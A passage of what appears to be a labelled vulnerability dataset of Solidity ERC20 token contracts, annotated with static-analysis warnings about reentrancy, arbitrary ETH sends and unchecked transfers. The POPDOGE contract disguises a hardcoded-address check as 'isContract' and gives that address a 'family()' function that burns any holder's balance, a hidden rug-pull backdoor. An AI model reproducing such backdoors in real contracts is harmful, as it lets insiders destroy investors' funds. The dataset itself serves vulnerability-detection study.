!_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 455c1e8\n\t\t\t\t// reentrancy-eth | ID: b7a1ee4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 455c1e8\n\t\t\t\t\t// reentrancy-eth | ID: b7a1ee4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b7a1ee4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b7a1ee4\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b7a1ee4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 455c1e8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b7a1ee4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b7a1ee4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 455c1e8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 455c1e8\n\t\t// reentrancy-events | ID: 547d8bd\n\t\t// reentrancy-benign | ID: e9e83ad\n\t\t// reentrancy-eth | ID: b7a1ee4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function manualSend() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n require(contractBalance > 0, \"No ETH available in the contract\");\n\n _taxWallet.transfer(contractBalance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d7d164d): DaDDy.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d7d164d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 455c1e8\n\t\t// reentrancy-events | ID: 547d8bd\n\t\t// reentrancy-eth | ID: b7a1ee4\n\t\t// arbitrary-send-eth | ID: d7d164d\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 17d9a1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 17d9a1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0e37d4c): DaDDy.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0e37d4c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c6ebed0): DaDDy.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c6ebed0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ec08df8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ec08df8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 17d9a1d\n\t\t// reentrancy-eth | ID: ec08df8\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 17d9a1d\n\t\t// unused-return | ID: c6ebed0\n\t\t// reentrancy-eth | ID: ec08df8\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 17d9a1d\n\t\t// unused-return | ID: 0e37d4c\n\t\t// reentrancy-eth | ID: ec08df8\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 17d9a1d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ec08df8\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1085.sol",
"size_bytes": 19726,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92b542b): Limecoin.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 92b542b: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = _allowances[owner][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 97971a7\n _balances[from] = fromBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 97971a7\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: a866296\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Limecoin is ERC20, Ownable {\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n address public immutable feeReceiver;\n\n uint256 private maxWalletSize = 20000000 * 1e9;\n\n uint256 private contractSwapMax = 20000000 * 1e9;\n\n uint256 private contractSwapMin = 3000000 * 1e9;\n\n uint32 private _buyCount;\n\n uint32 private _sellCount;\n\n uint32 private _lastSellBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd5a885): Limecoin._preventSwapBefore should be constant \n\t// Recommendation for bd5a885: Add the 'constant' attribute to state variables that never change.\n uint32 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: c02d385): Limecoin._lowerFeesAt should be constant \n\t// Recommendation for c02d385: Add the 'constant' attribute to state variables that never change.\n uint32 private _lowerFeesAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: d7a371d): Limecoin._finalBuyFee should be constant \n\t// Recommendation for d7a371d: Add the 'constant' attribute to state variables that never change.\n uint32 private _finalBuyFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 350be60): Limecoin._finalSellFee should be constant \n\t// Recommendation for 350be60: Add the 'constant' attribute to state variables that never change.\n uint32 private _finalSellFee = 0;\n\n bool private _inSwap;\n\n uint256 public buyFeeProcent;\n\n uint256 public sellFeeProcent;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 681da74): Limecoin.liquiditySupply should be immutable \n\t// Recommendation for 681da74: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private liquiditySupply;\n\n mapping(address => bool) private excludedFromTxLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92b542b): Limecoin.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 92b542b: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"Limecoin\", \"LIMECOIN\") {\n uint256 totalSupply = 1000000000 * 1e9;\n\n liquiditySupply = 875000000 * 1e9;\n\n feeReceiver = msg.sender;\n\n buyFeeProcent = 20;\n\n sellFeeProcent = 30;\n\n excludedFromTxLimits[feeReceiver] = true;\n\n excludedFromTxLimits[msg.sender] = true;\n\n excludedFromTxLimits[address(this)] = true;\n\n excludedFromTxLimits[address(0xdead)] = true;\n\n _approve(address(this), address(_router), totalSupply);\n\n _approve(msg.sender, address(_router), totalSupply);\n\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a866296): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a866296: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9cf17b3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9cf17b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 97971a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 97971a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = excludedFromTxLimits[from] || excludedFromTxLimits[to];\n\n require(\n uniswapPair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == uniswapPair;\n\n bool isBuy = from == uniswapPair;\n\n if (isBuy && !excluded) {\n require(\n balanceOf(to) + amount <= maxWalletSize ||\n to == address(_router),\n \"Max wallet exceeded\"\n );\n\n if (_buyCount <= _lowerFeesAt) _buyCount++;\n\n if (_buyCount == _lowerFeesAt) {\n buyFeeProcent = _finalBuyFee;\n\n sellFeeProcent = _finalSellFee;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n isSell &&\n !_inSwap &&\n contractTokenBalance >= contractSwapMin &&\n !excluded &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) _sellCount = 0;\n\n require(_sellCount < 3, \"Only 3 sells per block!\");\n\n _inSwap = true;\n\n\t\t\t// reentrancy-events | ID: a866296\n\t\t\t// reentrancy-no-eth | ID: 9cf17b3\n\t\t\t// reentrancy-eth | ID: 97971a7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, contractSwapMax))\n );\n\n\t\t\t// reentrancy-no-eth | ID: 9cf17b3\n _inSwap = false;\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: a866296\n\t\t\t// reentrancy-eth | ID: 97971a7\n if (contractETHBalance > 0) sendETHToFee(contractETHBalance);\n\n\t\t\t// reentrancy-eth | ID: 97971a7\n _sellCount++;\n\n\t\t\t// reentrancy-eth | ID: 97971a7\n _lastSellBlock = uint32(block.number);\n }\n\n uint256 fee = isBuy ? buyFeeProcent : sellFeeProcent;\n\n if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = (amount * fee) / 100;\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: a866296\n\t\t\t\t// reentrancy-eth | ID: 97971a7\n super._transfer(from, address(this), fees);\n\n amount -= fees;\n }\n }\n\n\t\t// reentrancy-events | ID: a866296\n\t\t// reentrancy-eth | ID: 97971a7\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a866296\n\t\t// reentrancy-no-eth | ID: 9cf17b3\n\t\t// reentrancy-eth | ID: 97971a7\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3d50dba): Limecoin.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeReceiver).transfer(amount)\n\t// Recommendation for 3d50dba: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a866296\n\t\t// reentrancy-eth | ID: 97971a7\n\t\t// arbitrary-send-eth | ID: 3d50dba\n payable(feeReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c367af2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c367af2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9155465): Limecoin.SetTradingStatus() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),liquiditySupply,0,0,msg.sender,block.timestamp)\n\t// Recommendation for 9155465: Ensure that all the return values of the function calls are used.\n function SetTradingStatus() external payable onlyOwner {\n super._transfer(msg.sender, address(this), totalSupply());\n\n\t\t// reentrancy-benign | ID: c367af2\n\t\t// unused-return | ID: 9155465\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n liquiditySupply,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c367af2\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 27c99e1): Limecoin.setSwapFees(uint256,uint256) should emit an event for buyFeeProcent = newBuyFee sellFeeProcent = newSellFee \n\t// Recommendation for 27c99e1: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(newBuyFee <= 26 && newSellFee <= 26, \"New fee must be lower.\");\n\n\t\t// events-maths | ID: 27c99e1\n buyFeeProcent = newBuyFee;\n\n\t\t// events-maths | ID: 27c99e1\n sellFeeProcent = newSellFee;\n }\n\n function removeThoseLimits() external onlyOwner {\n maxWalletSize = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3eee57f): Limecoin.updateStructure(uint256,uint256) should emit an event for contractSwapMax = maxAmount contractSwapMin = minAmount \n\t// Recommendation for 3eee57f: Emit an event for critical parameter changes.\n function updateStructure(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 3eee57f\n contractSwapMax = maxAmount;\n\n\t\t// events-maths | ID: 3eee57f\n contractSwapMin = minAmount;\n }\n\n function sweepingStuckETH() external onlyOwner {\n payable(feeReceiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 47145a5): Limecoin.transferStuckToken(IERC20) ignores return value by token.transfer(feeReceiver,token.balanceOf(address(this)))\n\t// Recommendation for 47145a5: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckToken(IERC20 token) external onlyOwner {\n\t\t// unchecked-transfer | ID: 47145a5\n token.transfer(feeReceiver, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10850.sol",
"size_bytes": 19987,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 233198235841242551134071450753470360614461789576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function family(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"POPDOGE\", unicode\"POPDOGE\", 9, 50000000) {}\n}\n",
"file_name": "solidity_code_10851.sol",
"size_bytes": 7089,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 